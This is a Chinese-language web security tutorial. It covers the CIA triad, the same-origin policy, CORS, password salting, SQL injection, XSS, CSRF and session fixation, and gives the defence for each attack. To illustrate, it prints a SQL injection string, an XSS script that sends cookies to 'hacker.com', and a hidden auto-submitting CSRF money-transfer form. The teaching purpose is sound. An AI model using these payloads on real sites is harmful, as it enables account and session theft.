安全三要素
全面认识一个安全问题,有很多方法,首先我们来理解安全问题的组成属性。安全属性的总结为安全三要素,简称CIA
- 机密性(Confidentiality)
- 数据内容不能泄露
- 手段:加密
- 完整性(Integrity)
- 数据内容是完整的, 没有被篡改
- 手段:数字签名
- 可用性(Avaliability)
- 服务应该随时可用
- 分布式拒绝攻击
- 例子:
假设一个停车场里面有100个车位,在正常的情况下,可以停放100辆车。但是在某一天,有个坏人搬了100块大石头,把每个车位都占满了,停车场无法在提供正常服务。在安全领域中这种攻击叫做拒绝服务攻击,简称Dos(Denial of Service).拒绝服务攻击破坏的是安全的可用性。实际开发中
黑客可能会调用很多服务器来压你的网站。
随着互联网的发展,我们发现浏览器才是互联网最大的入口,绝大多数用户使用互联网工具是浏览器。浏览器安全在这种竞争的环境中被越来越多的人所重视。浏览器天生就是一个客户端,如果具备了安全功能,就可以想安全软件一样对用户上网起到很好的保护作用。下面来介绍浏览器的安全功能。
同源策略
同源策略是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能会受到影响。可以说Web是构建在同源策略基础上的,浏览器只是针对同源策略的一种实现。
- 什么是同源策略
- 同domain(或ip),同端口,同协议视为同一个”源(Origin)。
- 一个Origin内的脚本只能读写本Origin的资源,而无法访问其它Origin的资源。
- 例子
http://store.company.com/product/show.html
为什么要用同源策略
- 场景
- 用户打开了银行的网站 bank.com
- 输入用户名密码 , 登录成功, 工商银行返回了cookie, 浏览器存储了下来
- 用户又打开了a.com , a.com中的javascript读取了 bank.com 存在浏览器中的cookie , 然后发给了a.com的服务器端
- 现在黑客偷到了你的cookie, 可以假冒你来登录bank.com做事情了
- 场景
同源策略带来的问题
//当前页面: www.sina.com.cn
<script type="text/javascript" src="//n.sinaimg.cn/ent/js/lib/jquery-1.7.2.js" ></script>
<img src="//i0.sinaimg.cn/cha/images/c.gif" width="1" height="1" alt="跳过导航栏" />
//有问题吗?
例外情况
<script> <image> <iframe> <link> //等标签可以跨域来加载资源 //当前网页:http://good.com/test.html <script src="http://bad.com/bad.js"></script> bad.js的 源是什么?
跨域是指在当前域下调用其他域下的东西,而链接则是直接跳转到对方的域下了,跟你之前的域名毫无关系。
突破同源策略
后端服务器转发
前端的javascript 访问同源的后端服务器
后端服务器访问其他不同源的服务器, 得到结果
后端服务器把结果返回给前端
JSONP(这个请自己查资料)
跨域资源共享
- 例子: 当前的源是 localhost:8080
- 要访问的localhost:8081/price.jsp
- 浏览器在Http Header 中加入一个域 Origin
- GET /price.jsp HTTP/1.1
- Origin: http://localhost:8080
- Host: localhost
- Accept-Language: en-US
- Connection: keep-alive
- 例子: 当前的源是 localhost:8080
服务器收到请求
- 检查Http header 中的Origin , 看看是否在允许的列表中
浏览器的响应(假设允许http://localhost:8080)
- Access-Control-Allow-Origin: http://localhost:8080
- Access-Control-Allow-Credentials: true
- Content-Type: text/html; charset=utf-8
浏览器检查服务器返回的Http response, 从中查找Access-Control-Allow-Origin, 如果不存在, 抛出错误。
保护密码–怎么存储才能防止窃取
明文存储
2012年12月, 优快云密码泄露事件600万用户的明文密码泄露!
密码Hash
原始密码经哈希函数计算后得到一个哈希值
改变原始密码,哈希函数计算出的哈希值也会相应改变
同样的密码,哈希值也是相同的
哈希函数是单向、不可逆的。也就是说从哈希值,你无法推算出原始的密码是多少
密码只存Hash值
- 加点盐(salt): 让密码Hash随机化
- Salt是一个随机生成的字符串
- (Salt + 密码)=> Hash值
Web 安全
在这个只列举:
- 服务端应用安全
- SQL 注入
- 客户端脚本安全
- XSS (跨站脚本攻击)
- CSRF (跨站脚本伪造)
- Session Fixation
SQL 注入
string sql = “ SELECT id , name, age from users WHERE id=‘” + id +”’”;
-- 注: 变量id 是一个从用户界面传递过来的值
-- 从界面传递过来的ID的值是: 1' OR '1' = ‘1
SELECT id, name ,age
FROM users
WHERE id= ‘1' OR '1' = ‘1’
-- 发生了什么状况?
SQL 注入的解决
网络世界是不能信任的!!!
永远不能相信用户的输入, 一定要做校验,过滤非法字符
使用参数化的语句(如PreparedStatement)
XSS (跨站脚本攻击)
黑客输入了一点script 到评论中
Hack.js 文件中的内容
var img=document.createElement(“img”);
img.src = “http://hacker.com/log?” + escape(document.cookie);
document.body.appendChild(img);
//一个隐藏的image被创建, 使用其src属性, 悄悄的访问了hacker.com ,把当前用户的cookie 发了出去
XSS
- 一旦你浏览已经被黑客留下XSS script的页面,cookie信息就会被偷走。
- 黑客可以假冒你的身份做事情了
- 永远不能相信用户的输入, 一定要做校验,过滤非法字符, 例如 “< > 等“
- 对字符进行转义
- 给cookie 加上HttpOnly, 防止被javascript 访问到(cookie不能被Javascript访问到),这种方式不能完全避免攻击
- 一旦你浏览已经被黑客留下XSS script的页面,cookie信息就会被偷走。
增加Cookie被劫持的难度:HttpOnly
- 给cookie 加上HttpOnly, 防止被javascript 访问到
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
- Http 协议层次
- 如果黑客在Socket层面获取cookie,还是无法限制。
- 给cookie 加上HttpOnly, 防止被javascript 访问到
CSRF (跨站脚本伪造)
下面的案例纯属假设,真实的银行转账当然不可能这样。
假设有个银行网站使用了如下方式来进行转账操作:
http://www.bank.com/transfer.php?toBankId=<账户号>&money=<金额>
你打开浏览器,先登陆了银行网站,然后又开了一个tab页,打开了你的邮箱, 有这么一个邮件:恭喜你获得了iPhone 7 一台, 点击领取。
其实这个链接是这个样子的:
<a href ="http://www.bank.com/transfer.php?toBankId=123456&money=10000>点击领取iPhone 7</a>
- 你一点击,你的账户就少了10000块。
- 因为你的session 在浏览器中没有消失, 虽然是从邮件中点击的链接, 但是服务器仍然认为是合法的。
但是
- 银行改进转账功能,不再用GET, 用POST
<form action="transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
但是没关系
- 黑客也做了改进,建立一个偷偷提交数据的网页,想办法诱使你点击:
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.submit("transfer");
}
</script>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/transfer.php">
<input type="hidden" name="toBankId" value="123">
<input type="hidden" name="money" value="10000">
</form>
</iframe>
</body>
- 对于修改资源的操作, 不能用GET, 要用POST
- 在form里边加上token: 一个随机数,由服务器端生成,每次打开form都不一样, 浏览器提交时验证该token。让黑客无法伪造请求
<form action="transfer.php" method="POST">
<p><input type="hidden" name="token" value="c11083b4b0a7743af748c85d343dfee9fbb"/> </p>
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
Session Fixation
引入
用户在浏览银行网站主页时, 会得到服务器发来的一个session id :Set-Cookie: SID=0D6441FEA4496C2
用户登录了银行网站, 这个Session ID 没有发生变化
有漏洞吗?
过程解析
- 黑客可以在网站的主页植入一个XSS攻击脚本, 把浏览该网页的用户的session id 全部发送到自己的服务器上收集起来。
- 此刻还没有什么用处, 因为这些session id 还没有登录过后的用户名,密码进行关联。
- 对这些session id , 不停的逐个尝试, 访问那些登录后才能访问的页面。 如果session id 对应的用户登录了网站, 那么黑客也可以登录了 - 因为session id 没有变。
对于一些敏感的操作, 一定要重新创建session
- 登录
- 修改密码